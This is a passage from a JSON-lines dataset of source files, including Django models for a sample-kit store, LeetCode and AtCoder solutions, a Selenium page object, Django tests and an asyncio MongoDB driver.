Tag(models.Model):\n name = models.CharField(max_length=50)\n\n def __unicode__(self):\n return self.name\n\n\n#-------------------------------------------------------------->\n# VENDOR KIT\n\ndef upload_vendor_logo(instance, filename):\n vendor_name = instance.name.replace(\" \", \"_\").replace(\"'\", \"\")\n return \"media/vendors/\" + vendor_name + \"/logo/\" + filename\n\ndef upload_vendor_kit_image(instance, filename):\n vendor_name = instance.vendor.name.replace(\" \", \"_\").replace(\"'\", \"\")\n kit_name = instance.name.replace(\" \", \"_\").replace(\"'\", \"\")\n return \"media/vendors/\" + vendor_name + \"/kits/\" + kit_name + \"/\" + filename\n\n\nclass Vendor(CommonInfo):\n website = models.URLField(blank=True, null=True)\n# description = models.ForeignKey(KitDescription) # This should be a WYSIWYG field\n# logo = models.ImageField(upload_to=upload_vendor_logo, storage=S3Storage(get_bucket()))\n logo = S3EnabledImageField(upload_to=upload_vendor_logo)\n facebook = models.URLField(blank=True, null=True)\n twitter = models.URLField(blank=True, null=True)\n google_plus = models.URLField(blank=True, null=True)\n soundcloud = models.URLField(blank=True, null=True)\n\n\nclass VendorKit (CommonInfo):\n active = models.BooleanField(default=True)\n on_sale = models.BooleanField(default=False)\n soundcloud = models.CharField(max_length=500)\n # image = models.ImageField(upload_to=upload_vendor_kit_image, storage=S3Storage(get_bucket()))\n image = S3EnabledImageField(upload_to=upload_vendor_kit_image)\n description = HTMLField(blank=True) # This should be a WYSIWYG field\n date_created = models.DateField(auto_now_add=True, blank=True, null=True)\n sample_count = models.IntegerField(blank=True, null=True)\n commission_rate = models.DecimalField(max_digits=10, decimal_places=2)\n vendor = models.ForeignKey(Vendor)\n tags = models.ManyToManyField(Tag)\n price = models.ForeignKey(Price)\n sale = models.ForeignKey(Sale)\n\n\n#-------------------------------------------------------------->\n# SAMPLE\n\ndef upload_sample_preview(instance, filename):\n vendor_name = instance.vendor_kit.vendor.name.replace(\" \", \"_\").replace(\"'\", \"\")\n kit_name = instance.vendor_kit.name.replace(\" \", \"_\").replace(\"'\", \"\")\n return \"media/vendors/\" + vendor_name + \"/kits/\" + kit_name + \"/samples/preview/\" + filename\n\n\ndef upload_sample_wav(instance, filename):\n vendor_name = instance.vendor_kit.vendor.name.replace(\" \", \"_\").replace(\"'\", \"\")\n kit_name = instance.vendor_kit.name.replace(\" \", \"_\").replace(\"'\", \"\")\n return \"media/vendors/\" + vendor_name + \"/kits/\" + kit_name + \"/samples/wav/\" + filename\n\n\nclass Sample(models.Model):\n KICK = 'Kick'\n SNARE = 'Snare'\n CLAP = 'Clap'\n OVERHEAD = 'Overhead'\n PERCUSSION = 'Percussion'\n SOUNDFX = 'Effect'\n LOOP = 'Loop'\n SAMPLE_TYPE_CHOICES = (\n (KICK, 'Kick'),\n (SNARE, 'Snare'),\n (CLAP, 'Clap'),\n (OVERHEAD, 'Overhead'),\n (PERCUSSION, 'Percussion'),\n (SOUNDFX, 'Effect'),\n (LOOP, 'Loop'),\n )\n name = models.CharField(max_length=50)\n type = models.CharField(max_length=20, choices=SAMPLE_TYPE_CHOICES)\n bpm = models.IntegerField(default=0, blank=True, null=True)\n key = models.CharField(max_length=10, blank=True, null=True)\n preview = models.TextField()\n wav = models.TextField()\n vendor_kit = models.ForeignKey(VendorKit, related_name=\"samples\")\n bucket = get_bucket()\n\n @property\n def s3_preview_url(self):\n return Key(self.bucket, self.preview).generate_url(100000)\n\n @property\n def s3_wav_url(self):\n return Key(self.bucket, self.wav).generate_url(100000)\n\n def __unicode__(self):\n return self.name\n\n\n#-------------------------------------------------------------->\n# KIT BUILDER PURCHASE\n\n\n# doc = UploadedFile()\n# with open(filepath, 'rb') as doc_file:\n# doc.document.save(filename, File(doc_file), save=True)\n# doc.save()\n# \"media\", \"kitbuilder_purchases\", \"user_\"+str(user_id)\n\ndef upload_kitbuilder_purchase_zip(instance, filename):\n # kit_name = instance.name.replace(\" \", \"_\").replace(\"'\", \"\")\n user = instance.user\n return \"media/kitbuilder_purchases/user_\" + str(user.id) + \"/\" + filename\n\n\nclass KitBuilderPurchase(models.Model):\n name = models.CharField(max_length=100)\n date_purchased = models.DateField(auto_now_add=True)\n zip_file = S3EnabledFileField(blank=True, null=True, upload_to=upload_kitbuilder_purchase_zip) # Change this to URL FIELD and ADD COMPUTED PROPERTY\n samples = models.ManyToManyField(Sample, blank=True)\n user = models.ForeignKey(UserProfile, related_name='kitbuilder_purchases')\n\n def __unicode__(self):\n return self.name\n\n\n#-------------------------------------------------------------->\n# KIT BUILDER TEMPLATE\n\ndef upload_template_image(instance, filename):\n user_dir = \"user_\"+str(instance.user.id)\n #template_name = instance.name.replace(\" \", \"_\").replace(\"'\", \"\")\n template_id = instance.id\n return \"media/kb_templates/\" + user_dir + \"/\" + str(template_id) + \"/\" + filename\n\n\nclass KitBuilderTemplate(models.Model):\n name = models.CharField(max_length=100)\n last_updated = models.DateField(auto_now=True)\n # times_added = models.IntegerField(default=0)\n description = models.TextField(blank=True)\n featured = models.BooleanField(default=False)\n public = models.BooleanField(default=False)\n # image = models.ImageField(upload_to=upload_template_image, storage=S3Storage(get_bucket()), blank=True, null=True)\n image = S3EnabledImageField(upload_to=upload_template_image, blank=True, null=True)\n user = models.ForeignKey(UserProfile, related_name='kitbuilder_templates')\n samples = models.ManyToManyField(Sample, blank=True)\n tags = models.ManyToManyField(Tag, blank=True)\n users_following = models.ManyToManyField(\n UserProfile,\n blank=True,\n related_name=\"templates_followed\",\n through=\"TemplateFollow\",\n through_fields=('template', 'user')\n )\n\n def __unicode__(self):\n return self.name\n\n\nclass TemplateFollow(models.Model):\n template = models.ForeignKey(KitBuilderTemplate, related_name=\"follows\")\n user = models.ForeignKey(UserProfile, related_name=\"template_follows\")\n date_followed = models.DateField(auto_now_add=True)\n\n def __unicode__(self):\n return self.user.username + \"-follows-\" + self.template.name\n#-------------------------------------------------------------->\n# KIT BUILDER TEMPLATE\n\n######## SIGNALS (for model deletion etc.)\n# Receive the pre_delete signal and delete the file associated with the model instance.\nfrom django.db.models.signals import pre_delete\nfrom django.dispatch.dispatcher import receiver\n\n\n@receiver(pre_delete, sender=Sample)\ndef sample_delete(sender, instance, **kwargs):\n # Pass false so FileField doesn't save the model.\n pass\n # At some point - have to update this signal to delete the file on Amazon automatically\n # instance.preview.delete(False)\n # instance.wav.delete(False)\n\n\n@receiver(pre_delete, sender=VendorKit)\ndef vendor_kit_delete(sender, instance, **kwargs):\n # Pass false so FileField doesn't save the model.\n instance.image.delete(False)\n\n\n@receiver(pre_delete, sender=KitBuilderPurchase)\ndef kitbuilder_purchase_delete(sender, instance, **kwargs):\n # Pass false so FileField doesn't save the model.\n zip_filename = instance.name\n user_id = instance.user.id\n zip_filepath = os.path.join(settings.MEDIA_ROOT, \"kitbuilder_purchases\", \"user_\"+str(user_id), \"%s.zip\" % zip_filename)\n try:\n os.remove(zip_filepath)\n except OSError:\n pass\n\n\n@receiver(pre_delete, sender=KitBuilderTemplate)\ndef kitbuilder_template_delete(sender, instance, **kwargs):\n # Pass false so FileField doesn't save the model.\n instance.image.delete(False)\n\n\n\n# DROP TABLE \"kitbuilder_v1_kitbuildertemplate\" CASCADE;\n# DROP TABLE \"kitbuilder_v1_kitbuildertemplate_samples\" CASCADE;\n# DROP TABLE \"kitbuilder_v1_kitbuildertemplate_tags\" CASCADE;\n# DROP TABLE \"kitbuilder_v1_kitbuilderpurchase\" CASCADE;\n# DROP TABLE \"kitbuilder_v1_kitbuilderpurchase_samples\" CASCADE;\n# DROP TABLE \"kitbuilder_v1_sample\" CASCADE;\n# DROP TABLE \"kitbuilder_v1_vendorkit\" CASCADE;\n# DROP TABLE \"kitbuilder_v1_vendorkit_tags\" CASCADE;\n# DROP TABLE \"kitbuilder_v1_vendor\" CASCADE;\n# DROP TABLE \"kitbuilder_v1_tag\" CASCADE;\n# DROP TABLE \"kitbuilder_v1_sale\" CASCADE;\n# DROP TABLE \"kitbuilder_v1_price\" CASCADE;\n# DROP TABLE \"kitbuilder_v1_follower\" CASCADE;\n# DROP TABLE \"kitbuilder_v1_templatefollow\" CASCADE;\n\n","sub_path":"kitbuilder/kitbuilder_v1/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":10419,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"104230880","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution:\n def reorderList(self, head):\n \"\"\"\n :type head: ListNode\n :rtype: void Do not return anything, modify head in-place instead.\n \"\"\"\n if not head:\n return None\n \n slow, fast = head, head.next\n \n #find mid\n while fast and fast.next:\n slow = slow.next\n fast = fast.next.next\n \n prev = None\n it = slow.next\n slow.next = None\n #reverse 2nd half\n while it:\n next_it = it.next\n it.next = prev\n \n prev = it\n it = next_it\n \n right = prev\n left = head\n \n while left and right:\n next_left = left.next\n left.next = right\n \n next_right = right.next\n right.next = next_left\n \n left = next_left\n right = next_right\n \n \n ","sub_path":"143/143.py","file_name":"143.py","file_ext":"py","file_size_in_byte":1125,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"373692214","text":"#-*- coding: UTF-8 -*-\nimport time\nimport os\nfrom framework.base_page import BasePage\nfrom selenium.webdriver.common.by import By\nfrom framework import getcwd\n\nclass CJPage(BasePage):\n # 选择模块按钮\n menu = 'xpath=>//a[@href=\"/ApprSynthesis/appr/synthesis/deliver/toDeliverList.do\"]'\n frame1= 'xpath=>//iframe[@src=\"/ApprSynthesis/appr/synthesis/deliver/toDeliverList.do\"]'\n waite_code = (By.XPATH,'//input[@id=\"controlSeq\"]')\n query_code = 'xpath=>//input[@id=\"controlSeq\"]'\n query_button = 'xpath=>//input[@value=\"查 询\"]'\n qianfa = 'xpath=>//font[contains(text(),\"签收发证\")]'\n\n def open_qianfa(self,code): # 打开页面并点击签收发证\n self.execute_js(self.menu)\n time.sleep(2)\n self.select_frame(self.find_element(self.frame1))\n #self.wait_element(self.waite_code)\n self.type(self.query_code,code)\n self.click(self.query_button)\n time.sleep(2)\n self.click(self.qianfa)\n time.sleep(3)\n\n save_button = 'id=>doSave'\n qianshou = 'id=>doCertReceive'\n frame2 =(By.NAME,\"editTransferWin\")\n select_qs = 'xpath=>//a[contains(text(),\"选择移交人\")]'\n frame3 = (By.NAME,\"userSelect\")\n ceshi2 = 'xpath=>//div[contains(text(),\"测试2\")]'\n queding = 'id=>selectedButton'\n submit = 'id=>sumbitButton'\n\n def qs(self): # 出件窗签收\n self.select_windows()\n self.click(self.save_button)\n time.sleep(3)\n self.click(self.qianshou)\n time.sleep(2)\n self.wait_goframe(self.frame2)\n self.click(self.select_qs)\n time.sleep(2)\n self.wait_goframe(self.frame3)\n self.click(self.ceshi2)\n self.click(self.queding)\n time.sleep(1)\n self.wait_goframe(self.frame2)\n self.click(self.submit)\n self.top_windows()\n time.sleep(3)\n\n def get_message1(self):\n message = self.get_element_text(self.fazheng)\n return message\n\n fazheng = 'id=>sendCertificate'\n frame4 = (By.NAME,'sendCertificate')\n fafang = 'id=>sign'\n jiesu = 'id=>doSend'\n sure = 'xpath=>//button[contains(text(),\"确定\")]'\n\n def fz(self): # 发证\n self.click(self.fazheng)\n time.sleep(2)\n self.wait_goframe(self.frame4)\n self.click(self.fafang)\n time.sleep(3)\n\n def get_message2(self):\n message = self.get_element_text(self.jiesu)\n return message\n\n def end(self): # 结束\n self.click(self.jiesu)\n time.sleep(1)\n self.click(self.sure)\n time.sleep(3)\n\n def get_allwindows(self): # 获取全部窗口进行校验是否正常结束流程并关闭窗口\n handles = self.driver.window_handles\n return handles\n\n","sub_path":"General_Approval/pageobjects/ApprSynthesis/综合窗口出件/CJ_page.py","file_name":"CJ_page.py","file_ext":"py","file_size_in_byte":2743,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"479541427","text":"import copy\nimport sys\nN = int(input())\nH = list(map(int,input().split()))\nC = 0\n\nif sorted(H) == H:\n\tprint(\"YES\")\n\tsys.exit()\n\nfor i in range(0,N-1):\n\tfor j in range(1,N):\n\t\tL = copy.copy(H)\n\t\tL[i],L[j] = L[j],L[i] \n\t\tif L == sorted(H):\n\t\t\tprint(\"YES\")\n\t\t\tsys.exit()\nprint(\"NO\")\n","sub_path":"abc135/b.py","file_name":"b.py","file_ext":"py","file_size_in_byte":280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"440500826","text":"from django.test import TestCase\n# from django.core.urlresolvers import resolve\nfrom .models import Item\nfrom django.contrib.auth.models import User\n\n\nclass start():\n def create_user(self):\n self.user_in = User.objects.create_user(\n 'khophi',\n 'email@email.com',\n 'password'\n )\n # create user khophi\n self.user_in.save()\n\n def create_item(self):\n self.username = User.objects.get(username='khophi')\n self.item = Item(\n device='Google Nexus 6',\n slug='0000000000',\n type_of_item='md',\n description='An awesome phone I bought from Google',\n stolen='s',\n created_by=self.username\n )\n self.item.save()\n\n\n# Check save and retrieve from DB\nclass SaveToDBDirect(TestCase):\n def setUp(self):\n begin = start()\n begin.create_user()\n begin.create_item()\n\n def test_check_user_account(self):\n self.user = User.objects.all()[0]\n\n self.assertEqual(str(self.user), '[]')\n\n def test_check_new_item(self):\n from_db = Item.objects.count()\n\n self.assertEqual(from_db, 1)\n\n\n# Check request, save and retrieve from DB works via views\n# Non REST\n\nclass TestView(TestCase):\n\n def test_check_login(self):\n request = self.client.post('/admin/', {'username': 'khophi', 'password': 'password'})\n self.assertEqual(request.status_code, 200)\n\n def test_check_details(self):\n request = self.client.get('/detail/0000000000')\n self.assertEqual(request.status_code, 200)\n\n# Check request, save and retrieve from DB works via views\n# REST way\n\n# Check post and get works via browser\n# Mr. Selenium comes in\n\n# Searched empty, response \"Not searched for anything\"\n\n# if not stolen, don't show in results\n\n# Mylist count\n\n# Account login, logout\n\n# get_absolute_urls on models\n","sub_path":"main/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":1923,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"519742320","text":"#!/usr/bin/env python3\n# -*- coding:utf-8 -*-\n## author : cypro666\n## date : 2015.07.16\nimport struct\nimport asyncio\nfrom collections import defaultdict\nimport bson\nfrom bson import SON, ObjectId, Code\nfrom pymongo import errors, auth\n\"\"\"\nasynchronous driver for mongodb\n\"\"\"\n__all__ = ['Database', 'Collection', 'Connection', 'Pool']\n\n\n_ONE = b\"\\x01\\x00\\x00\\x00\"\n_ZERO = b\"\\x00\\x00\\x00\\x00\"\n\n\nclass _Query(object):\n __slots__ = ('id', 'limit', 'collection', 'documents', 'future')\n def __init__(self, id_, collection, limit):\n \"\"\" init won't check the limit arg validate or not \"\"\"\n self.id = id_\n self.limit = limit\n self.collection = collection\n self.documents = []\n self.future = asyncio.Future()\n\n\nclass _Protocol(asyncio.Protocol):\n __slots__ = ('__id', '__buffer', '__queries', '__datalen', '__response', \n '__waiting_header', '_pipelined_calls', 'transport', '_is_connected')\n def __init__(self):\n self.__id = 0\n self.__buffer = b\"\"\n self.__queries = {}\n self.__datalen = None\n self.__response = 0\n self.__waiting_header = True\n self._pipelined_calls = set() # Set of all the pipelined calls.\n self.transport = None\n self._is_connected = False\n\n def connection_made(self, transport):\n self.transport = transport\n self._is_connected = True\n\n def connection_lost(self, exc):\n self._is_connected = False\n self.transport = None\n\n # Raise exception on all waiting futures.\n for f in self.__queries:\n f.set_exception(errors.ConnectionFailure(exc))\n\n @property\n def is_connected(self):\n \"\"\" True when the underlying transport is connected. \"\"\"\n return self._is_connected\n\n def data_received(self, data):\n while self.__waiting_header:\n self.__buffer += data\n if len(self.__buffer) < 16:\n break\n\n # got full header, 16 bytes (or more)\n header, extra = self.__buffer[:16], self.__buffer[16:]\n self.__buffer = b\"\"\n self.__waiting_header = False\n datalen, request, response, operation = struct.unpack(\"= 0, \"Unexpected number of documents received!\"\n if not next_batch:\n self.OP_KILL_CURSORS([cursor_id])\n query.future.set_result(query.documents)\n return\n self.__queries[self.__id] = query\n self.OP_GET_MORE(query.collection, next_batch, cursor_id)\n else:\n query.future.set_result(query.documents)\n\n\ndef _DIRECTION(keys, direction):\n if isinstance(keys, str):\n return (keys, direction),\n elif isinstance(keys, (list, tuple)):\n return tuple([(k, direction) for k in keys])\n\ndef ASCENDING(keys):\n \"\"\"Ascending sort order\"\"\"\n return _DIRECTION(keys, 1)\n\n\ndef DESCENDING(keys):\n \"\"\"Descending sort order\"\"\"\n return _DIRECTION(keys, -1)\n\n\ndef GEO2D(keys):\n \"\"\"\n Two-dimensional geospatial index\n \"\"\"\n return _DIRECTION(keys, \"2d\")\n\n\ndef GEOHAYSTACK(keys):\n \"\"\"\n Bucket-based geospatial index\n \"\"\"\n return _DIRECTION(keys, \"geoHaystack\")\n\n\nclass _QueryFilter(defaultdict):\n def __init__(self):\n defaultdict.__init__(self, lambda:())\n\n def __add__(self, obj):\n for k, v in obj.items():\n if isinstance(v, tuple):\n self[k] += v\n else:\n self[k] = v\n return self\n\n def _index_document(self, operation, index_list):\n name = self.__class__.__name__\n try:\n assert isinstance(index_list, (list, tuple))\n for key, direction in index_list:\n if not isinstance(key, str):\n raise TypeError(\"Invalid %sing key: %s\" % (name, repr(key)))\n if direction not in (1, -1, \"2d\", \"geoHaystack\"):\n raise TypeError(\"Invalid %sing direction: %s\" % (name, direction))\n self[operation] += tuple(((key, direction),))\n except Exception:\n raise TypeError(\"Invalid list of keys for %s: %s\" % (name, repr(index_list)))\n\n def __repr__(self):\n return \"\" % dict.__repr__(self)\n\n\nclass _Sort(_QueryFilter):\n \"\"\"Sorts the results of a query.\"\"\"\n\n def __init__(self, key_list):\n _QueryFilter.__init__(self)\n try:\n assert isinstance(key_list[0], (list, tuple))\n except:\n key_list = (key_list,)\n self._index_document(\"orderby\", key_list)\n\n\nclass _Hint(_QueryFilter):\n \"\"\"Adds a `hint`, telling Mongo the proper index to use for the query.\"\"\"\n\n def __init__(self, index_list):\n _QueryFilter.__init__(self)\n try:\n assert isinstance(index_list[0], (list, tuple))\n except:\n index_list = (index_list,)\n self._index_document(\"$hint\", index_list)\n\n\nclass _Explain(_QueryFilter):\n \"\"\"Returns an explain plan for the query.\"\"\"\n\n def __init__(self):\n _QueryFilter.__init__(self)\n self[\"explain\"] = True\n\n\nclass _Snapshot(_QueryFilter):\n def __init__(self):\n _QueryFilter.__init__(self)\n self[\"snapshot\"] = True\n\n\n\nclass Collection(object):\n \"\"\" Wrapper of all operations on mongo collections \"\"\"\n def __init__(self, database, name):\n if not isinstance(name, str):\n raise TypeError(\"name must be an instance of str\")\n if not name or \"..\" in name:\n raise errors.InvalidName(\"collection names cannot be empty\")\n if \"$\" in name and not (name.startswith(\"oplog.$main\") or\n name.startswith(\"$cmd\")):\n raise errors.InvalidName(\"collection names must not contain '$': %r\" % name)\n if name[0] == \".\" or name[-1] == \".\":\n raise errors.InvalidName(\"collection names must not start or end with '.': %r\" % name)\n if \"\\x00\" in name:\n raise errors.InvalidName(\"collection names must not contain the null character\")\n\n self._database = database\n self._collection_name = name\n\n def __str__(self):\n return \"%s.%s\" % (str(self._database), self._collection_name)\n\n def __repr__(self):\n return \"\" % str(self)\n\n def __getitem__(self, collection_name):\n return Collection(self._database, \"%s.%s\" % (self._collection_name, collection_name))\n\n def __eq__(self, other):\n if isinstance(other, Collection):\n return (self._database, self._collection_name) == (other._database, other._collection_name)\n return NotImplemented\n\n def __hash__(self):\n return self._collection_name.__hash__()\n\n def __getattr__(self, collection_name):\n return self[collection_name]\n\n def __call__(self, collection_name):\n return self[collection_name]\n\n def _fields_list_to_dict(self, fields):\n \"\"\"\n transform a list of fields from [\"a\", \"b\"] to {\"a\":1, \"b\":1}\n \"\"\"\n as_dict = {}\n for field in fields:\n if not isinstance(field, str):\n raise TypeError(\"fields must be a list of key names\")\n as_dict[field] = 1\n return as_dict\n\n def _gen_index_name(self, keys):\n return u\"_\".join([u\"%s_%s\" % item for item in keys])\n\n @asyncio.coroutine\n def options(self):\n result = yield from self._database.system.namespaces.find_one({\"name\": str(self)})\n if result:\n options = result.get(\"options\", {})\n if \"create\" in options:\n del options[\"create\"]\n return options\n return {}\n\n @asyncio.coroutine\n def find(self, spec=None, skip=0, limit=0, fields=None, filter=None, _proto=None):\n if spec is None:\n spec = SON()\n\n if not isinstance(spec, dict):\n raise TypeError(\"spec must be an instance of dict\")\n if fields is not None and not isinstance(fields, (dict, list)):\n raise TypeError(\"fields must be an instance of dict or list\")\n if not isinstance(skip, int):\n raise TypeError(\"skip must be an instance of int\")\n if not isinstance(limit, int):\n raise TypeError(\"limit must be an instance of int\")\n\n if fields is not None:\n if not isinstance(fields, dict):\n if not fields:\n fields = [\"_id\"]\n fields = self._fields_list_to_dict(fields)\n\n if isinstance(filter, (_Sort, _Hint, _Explain, _Snapshot)):\n spec = SON(dict(query=spec))\n for k, v in filter.items():\n spec[k] = isinstance(v, tuple) and SON(v) or v\n\n # send the command through a specific connection\n # this is required for the connection pool to work\n # when safe=True\n if _proto is None:\n proto = self._database._protocol\n else:\n proto = _proto\n return (yield from proto.OP_QUERY(str(self), spec, skip, limit, fields))\n\n @asyncio.coroutine\n def find_one(self, spec=None, fields=None, _proto=None):\n if isinstance(spec, ObjectId):\n spec = SON(dict(_id=spec))\n\n docs = yield from self.find(spec, limit=-1, fields=fields, _proto=_proto)\n doc = docs and docs[0] or {}\n if doc.get(\"err\") is not None:\n if doc.get(\"code\") == 11000:\n raise errors.DuplicateKeyError\n else:\n raise errors.OperationFailure(doc)\n else:\n return doc\n\n @asyncio.coroutine\n def count(self, spec=None, fields=None):\n if fields is not None:\n if not fields:\n fields = [\"_id\"]\n fields = self._fields_list_to_dict(fields)\n spec = SON([(\"count\", self._collection_name),\n (\"query\", spec or SON()),\n (\"fields\", fields)])\n result = yield from self._database[\"$cmd\"].find_one(spec)\n return result[\"n\"]\n\n @asyncio.coroutine\n def group(self, keys, initial, reduce, condition=None, finalize=None):\n body = {\n \"ns\": self._collection_name,\n \"key\": self._fields_list_to_dict(keys),\n \"initial\": initial,\n \"$reduce\": Code(reduce),\n }\n if condition:\n body[\"cond\"] = condition\n if finalize:\n body[\"finalize\"] = Code(finalize)\n\n return (yield from self._database[\"$cmd\"].find_one({\"group\": body}))\n\n @asyncio.coroutine\n def filemd5(self, spec):\n if not isinstance(spec, ObjectId):\n raise ValueError(_(\"filemd5 expected an objectid for its \"\n \"on-keyword argument\"))\n\n spec = SON([(\"filemd5\", spec),\n (\"root\", self._collection_name)])\n\n result = yield from self._database['$cmd'].find_one(spec)\n return result.get('md5')\n\n @asyncio.coroutine\n def __safe_operation(self, proto, safe=False, ids=None):\n callit = False\n result = None\n if safe is True:\n result = yield from self._database[\"$cmd\"].find_one({\"getlasterror\": 1}, _proto=proto)\n else:\n callit = True\n if ids is not None:\n return ids\n if callit is True:\n return None\n return result\n\n @asyncio.coroutine\n def insert(self, docs, safe=False):\n if isinstance(docs, dict):\n ids = docs.get('_id', ObjectId())\n docs[\"_id\"] = ids\n docs = [docs]\n elif isinstance(docs, list):\n ids = []\n for doc in docs:\n if isinstance(doc, dict):\n id = doc.get('_id', ObjectId())\n ids.append(id)\n doc[\"_id\"] = id\n else:\n raise TypeError(\"insert takes a document or a list of documents\")\n else:\n raise TypeError(\"insert takes a document or a list of documents\")\n proto = self._database._protocol\n proto.OP_INSERT(str(self), docs)\n result = yield from self.__safe_operation(proto, safe, ids)\n return result\n\n @asyncio.coroutine\n def update(self, spec, document, upsert=False, multi=False, safe=False):\n if not isinstance(spec, dict):\n raise TypeError(\"spec must be an instance of dict\")\n if not isinstance(document, dict):\n raise TypeError(\"document must be an instance of dict\")\n if not isinstance(upsert, bool):\n raise TypeError(\"upsert must be an instance of bool\")\n proto = self._database._protocol\n proto.OP_UPDATE(str(self), spec, document, upsert, multi)\n return (yield from self.__safe_operation(proto, safe))\n\n @asyncio.coroutine\n def save(self, doc, safe=False):\n if not isinstance(doc, dict):\n raise TypeError(\"cannot save objects of type %s\" % type(doc))\n\n objid = doc.get(\"_id\")\n if objid:\n return (yield from self.update({\"_id\": objid}, doc, safe=safe, upsert=True))\n else:\n return (yield from self.insert(doc, safe=safe))\n\n @asyncio.coroutine\n def remove(self, spec, safe=False):\n if isinstance(spec, ObjectId):\n spec = SON(dict(_id=spec))\n if not isinstance(spec, dict):\n raise TypeError(\"spec must be an instance of dict, not %s\" % type(spec))\n\n proto = self._database._protocol\n proto.OP_DELETE(str(self), spec)\n return (yield from self.__safe_operation(proto, safe))\n\n @asyncio.coroutine\n def drop(self, safe=False):\n return (yield from self.remove({}, safe))\n\n @asyncio.coroutine\n def create_index(self, sort_fields, **kwargs):\n if not isinstance(sort_fields, _Sort):\n raise TypeError(\"sort_fields must be an instance of filter.sort\")\n if \"name\" not in kwargs:\n name = self._gen_index_name(sort_fields[\"orderby\"])\n else:\n name = kwargs.pop(\"name\")\n\n key = SON()\n for k,v in sort_fields[\"orderby\"]:\n key.update({k:v})\n\n index = SON(dict( ns=str(self), name=name, key=key))\n\n if \"drop_dups\" in kwargs:\n kwargs[\"dropDups\"] = kwargs.pop(\"drop_dups\")\n\n if \"bucket_size\" in kwargs:\n kwargs[\"bucketSize\"] = kwargs.pop(\"bucket_size\")\n \n index.update(kwargs)\n yield from self._database.system.indexes.insert(index, safe=True)\n return name\n\n @asyncio.coroutine\n def ensure_index(self, sort_fields, **kwargs):\n # ensure_index is an alias of create_index since we are not \n # keep an index cache same way pymongo does\n return (yield from self.create_index(sort_fields, **kwargs))\n\n @asyncio.coroutine\n def drop_index(self, index_identifier):\n if isinstance(index_identifier, str):\n name = index_identifier\n elif isinstance(index_identifier, _Sort):\n name = self._gen_index_name(index_identifier[\"orderby\"])\n else:\n raise TypeError(\"index_identifier must be a name or instance of filter.sort\")\n\n cmd = SON([(\"deleteIndexes\", self._collection_name), (\"index\", name)])\n return (yield from self._database[\"$cmd\"].find_one(cmd))\n\n @asyncio.coroutine\n def drop_indexes(self):\n return (yield from self.drop_index(\"*\"))\n\n @asyncio.coroutine\n def index_information(self):\n raw = yield from self._database.system.indexes.find({\"ns\": str(self)})\n info = {}\n for idx in raw:\n info[idx[\"name\"]] = idx[\"key\"].items()\n return info\n\n @asyncio.coroutine\n def rename(self, new_name):\n cmd = SON([(\"renameCollection\", str(self)), (\"to\", \"%s.%s\" % \\\n (str(self._database), new_name))])\n return (yield from self._database(\"admin\")[\"$cmd\"].find_one(cmd))\n\n @asyncio.coroutine\n def distinct(self, key, spec=None):\n cmd = SON([(\"distinct\", self._collection_name), (\"key\", key)])\n if spec:\n cmd[\"query\"] = spec\n\n result = yield from self._database[\"$cmd\"].find_one(cmd)\n if result:\n return result.get(\"values\")\n return {}\n\n @asyncio.coroutine\n def aggregate(self, pipeline, full_response=False):\n \"\"\" not stable yet \"\"\"\n cmd = SON([(\"aggregate\", self._collection_name),\n (\"pipeline\", pipeline)])\n\n result = yield from self._database[\"$cmd\"].find_one(cmd)\n if full_response:\n return result\n return result.get(\"result\")\n\n @asyncio.coroutine\n def map_reduce(self, map, reduce, full_response=False, **kwargs):\n \"\"\" not stable yet \"\"\"\n cmd = SON([(\"mapreduce\", self._collection_name), (\"map\", map), (\"reduce\", reduce)])\n cmd.update(**kwargs)\n result = yield from self._database[\"$cmd\"].find_one(cmd)\n if full_response:\n return result\n return result.get(\"result\")\n\n @asyncio.coroutine\n def find_and_modify(self, query=None, update=None, upsert=False, **kwargs):\n if not update and not kwargs.get('remove', None):\n raise ValueError(\"Must either update or remove\")\n if update and kwargs.get('remove', None):\n raise ValueError(\"Can't do both update and remove\")\n\n cmd = SON([(\"findAndModify\", self._collection_name)])\n cmd.update(kwargs)\n # No need to include empty args\n if query:\n cmd['query'] = query\n if update:\n cmd['update'] = update\n if upsert:\n cmd['upsert'] = upsert\n\n result = yield from self._database[\"$cmd\"].find_one(cmd)\n no_obj_error = \"No matching object found\"\n if not result['ok']:\n if result[\"errmsg\"] == no_obj_error:\n return None\n else:\n raise ValueError(\"Unexpected Error: %s\" % (result,))\n return result.get('value')\n\n\nclass Database(object):\n def __init__(self, protocol, database_name):\n self.__protocol = protocol\n self._database_name = database_name\n\n def __str__(self):\n return self._database_name\n\n def __repr__(self):\n return \"\" % self._database_name\n\n def __call__(self, database_name):\n return Database(self.__protocol, database_name)\n\n def __getitem__(self, collection_name):\n return Collection(self, collection_name)\n\n def __getattr__(self, collection_name):\n return self[collection_name]\n\n @property\n def _protocol(self):\n return self.__protocol\n\n @asyncio.coroutine\n def create_collection(self, name, options=None):\n collection = Collection(self, name)\n\n if options:\n if \"size\" in options:\n options[\"size\"] = float(options[\"size\"])\n command = SON({\"create\": name})\n command.update(options)\n result = yield from self[\"$cmd\"].find_one(command)\n if result.get(\"ok\", 0.0):\n return collection\n else:\n raise RuntimeError(result.get(\"errmsg\", \"unknown error\"))\n else:\n return collection\n\n @asyncio.coroutine\n def drop_collection(self, name_or_collection):\n if isinstance(name_or_collection, Collection):\n name = name_or_collection._collection_name\n elif isinstance(name_or_collection, str):\n name = name_or_collection\n else:\n raise TypeError(\"name must be an instance of basestring or txmongo.Collection\")\n\n return self[\"$cmd\"].find_one({\"drop\": name})\n\n @asyncio.coroutine\n def collection_names(self):\n results = yield from self[\"system.namespaces\"].find()\n names = [r[\"name\"] for r in results]\n names = [n[len(str(self)) + 1:] for n in names\n if n.startswith(str(self) + \".\")]\n names = [n for n in names if \"$\" not in n]\n return names\n\n @asyncio.coroutine\n def authenticate(self, name, password):\n \"\"\"\n Send an authentication command for this database.\n mostly stolen from asyncio_mongo._pymongo\n \"\"\"\n if not 